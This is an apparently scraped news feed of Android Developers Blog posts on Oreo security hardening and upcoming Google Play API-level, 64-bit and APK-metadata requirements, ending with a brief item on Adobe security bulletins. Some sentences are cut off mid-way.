    Android kernels 4.4 and newer. KASLR works by randomizing the location where
    kernel code is loaded on each boot, making code reuse attacks probabilistic and
    therefore more difficult to carry out, especially remotely.

App security and device identifier changes

Instant Apps run in a restricted sandbox which limits permissions and
capabilities such as reading the on-device app list or transmitting cleartext
traffic. Although introduced during the Android Oreo release, Instant Apps
supports devices running Android Lollipop and

In order to handle untrusted content more safely, we’ve isolated
WebView by splitting the rendering engine into a separate process and
running it within an isolated sandbox that restricts its resources. WebView also
supports Safe Browsing to protect
against potentially dangerous sites.

Lastly, we’ve made significant
changes to device identifiers to give users more control, including:

  • Moving the static Android ID and Widevine values to an
    app-specific value, which helps limit the use of device-scoped non-resettable

  • In accordance with IETF RFC 7844
    anonymity profile, net.hostname is now empty and the DHCP client no
    longer sends a hostname.

  • For apps that require a device ID, we’ve built a Build.getSerial()
    and protected it behind a permission.

  • Alongside security researchers1, we designed a robust MAC address
    randomization for Wi-Fi scan traffic in various chipsets firmware.

Android Oreo brings in all of these improvements, and many more. As always, we
appreciate feedback and welcome suggestions for how we can improve Android.
Contact us at


1: Glenn Wilkinson and team at Sensepost, UK, Célestin Matte, Mathieu Cunche:
University of Lyon, INSA-Lyon, CITI Lab, Inria Privatics, Mathy Vanhoef, KU

Android Developers Blog

Dec 20

Improving app security and performance on Google Play for years to come

Posted by Edward Cunningham, Product Manager, Android

Google Play powers billions of app installs and updates annually. We
relentlessly focus on security and performance to ensure everyone has a positive
experience discovering and installing apps and games they love. Today we’re
giving Android developers a heads-up about three changes designed to support
these goals, as well as explaining the reasons for each change, and how they
will help make Android devices even more secure and performant for the long

  • In the second half of 2018, Play will require that new apps and app updates
    target a recent Android API level. This will be required for new apps in
    August 2018, and for updates to existing apps in
    November 2018. This is to ensure apps are built on the latest
    APIs optimized for security and performance.

  • In August 2019, Play will require that new apps and app
    updates with native libraries provide 64-bit versions in addition to their
    32-bit versions.

  • Additionally, in early 2018, Play will start adding a small amount of
    security metadata on top of each APK to further verify app authenticity. You do
    not need to take any action for this change.

We deeply appreciate our developer ecosystem, and so hope this long advance
notice is helpful in planning your app releases. We will continue to provide
reminders and share developer resources as key dates approach to help you

Target API level requirement from late 2018

API behavior changes advance the security and privacy protections of Android –
helping developers secure their apps and protecting people from malware. Here
are a few such changes from recent platform versions:

  • Implicit intents for bindService() no longer supported (Android

  • Runtime permissions (Android

  • User-added CAs not trusted by default for secure connections (Android

  • Apps can’t access user accounts without explicit user approval (Android

Many of these changes only apply to apps that explicitly declare their support
for new API behaviors, through the targetSdkVersion
manifest attribute. For example, only apps with a targetSdkVersion of 23
(the API level of Android 6.0) or higher give the user full control over what
private data – such as contacts or location – the app can access via runtime
permissions. Similarly, recent releases include user experience improvements
that prevent apps from accidentally overusing resources like battery and memory;
execution limits is a good example of this type of improvement.

In order to provide users with the best Android experience possible, the Google
Play Console will require that apps target a recent API level:

  • August 2018: New apps required to target API level 26
    (Android 8.0) or higher.

  • November 2018: Updates to existing apps required to target
    API level 26 or higher.

  • 2019 onwards: Each year the targetSdkVersion requirement
    will advance. Within one year following each Android dessert release, new apps
    and app updates will need to target the corresponding API level or

Existing apps that are not receiving updates are unaffected. Developers remain
free to use a minSdkVersion
of their choice, so there is no change to your ability to build apps for older
Android versions. We encourage developers to provide backwards compatibility as
far as reasonably possible. Future Android versions will also restrict apps that
don’t target a recent API level and adversely impact performance or security. We
want to proactively reduce fragmentation in the app ecosystem and ensure apps
are secure and performant while providing developers with a long window and
plenty of notice in order to plan ahead.

This year we released Android Oreo, the most secure and best performing version
of Android yet, and we introduced Project
Treble to help the latest releases reach devices faster. Get started
building apps that target Android 8.1 Oreo

64-bit support requirement in 2019

Platform support for 64-bit architectures was introduced in Android 5.0. Today,
over 40% of Android devices coming online have 64-bit support, while still
maintaining 32-bit compatibility. For apps that use native libraries, 64-bit
code typically offers significantly better performance, with additional
registers and new instructions.

In anticipation of future Android devices that support 64-bit code only, the
Play Console will require that new apps and app updates are able to run on
devices without 32-bit support. Apps that include a 32-bit library will need to
have a 64-bit alternative – either within the same APK or as one of the multiple
APKs published. Apps that do not include native code are unaffected.

This change will come into effect in August 2019. We’re providing advance notice
today to allow plenty of time for developers who don’t yet support 64-bit to
plan the transition. Stay tuned for a future post in which we’ll take an
in-depth look at the performance benefits of 64-bit native libraries on Android,
and check out the CPUs and
Architectures guide of the NDK for more info.

Security metadata in early 2018

Next year we’ll begin adding a small amount of security metadata on top of each
APK to verify that it was officially distributed by Google Play. Often when you
buy a physical product, you’ll find an official label or a badge which signifies
the product’s authenticity. The metadata we’re adding to APKs is like a Play
badge of authenticity for your Android app.

No action is needed by developers or users. We’ll adjust Play’s maximum APK size
to take into account the small metadata addition, which is inserted into the APK Signing Block
and does not alter the functionality of your app. In addition to enhancing the
integrity of Play’s mobile app ecosystem, this metadata will enable new
distribution opportunities for developers in the future and help more people
keep their apps up to date.

Looking ahead

2017 has been a fantastic year for developers who have seen growth and success
on Google Play. We’ve been hard at work on features (including those announced
at I/O
2017 and at Playtime)
to help you improve your app quality and business performance. With these
features and the upcoming updates, we hope to see the Android and Play ecosystem
continue to thrive in 2018 and beyond.

How useful did you find this blogpost?

Android Developers Blog

Dec 19

Adobe has released two security bulletins

New patches fix vulnerabilities CVE-2013-5327 and CVE-2013-5325.

The company Adobe, last week became the victim of a powerful cyber attacks, which resulted in compromised data of millions of its customers, has released two security bulletins that address new vulnerabilities that are not related to the incident.

The first update affects RoboHelp 10 for Windows and fixes a memory corruption
Antivirus and Security News

Dec 16

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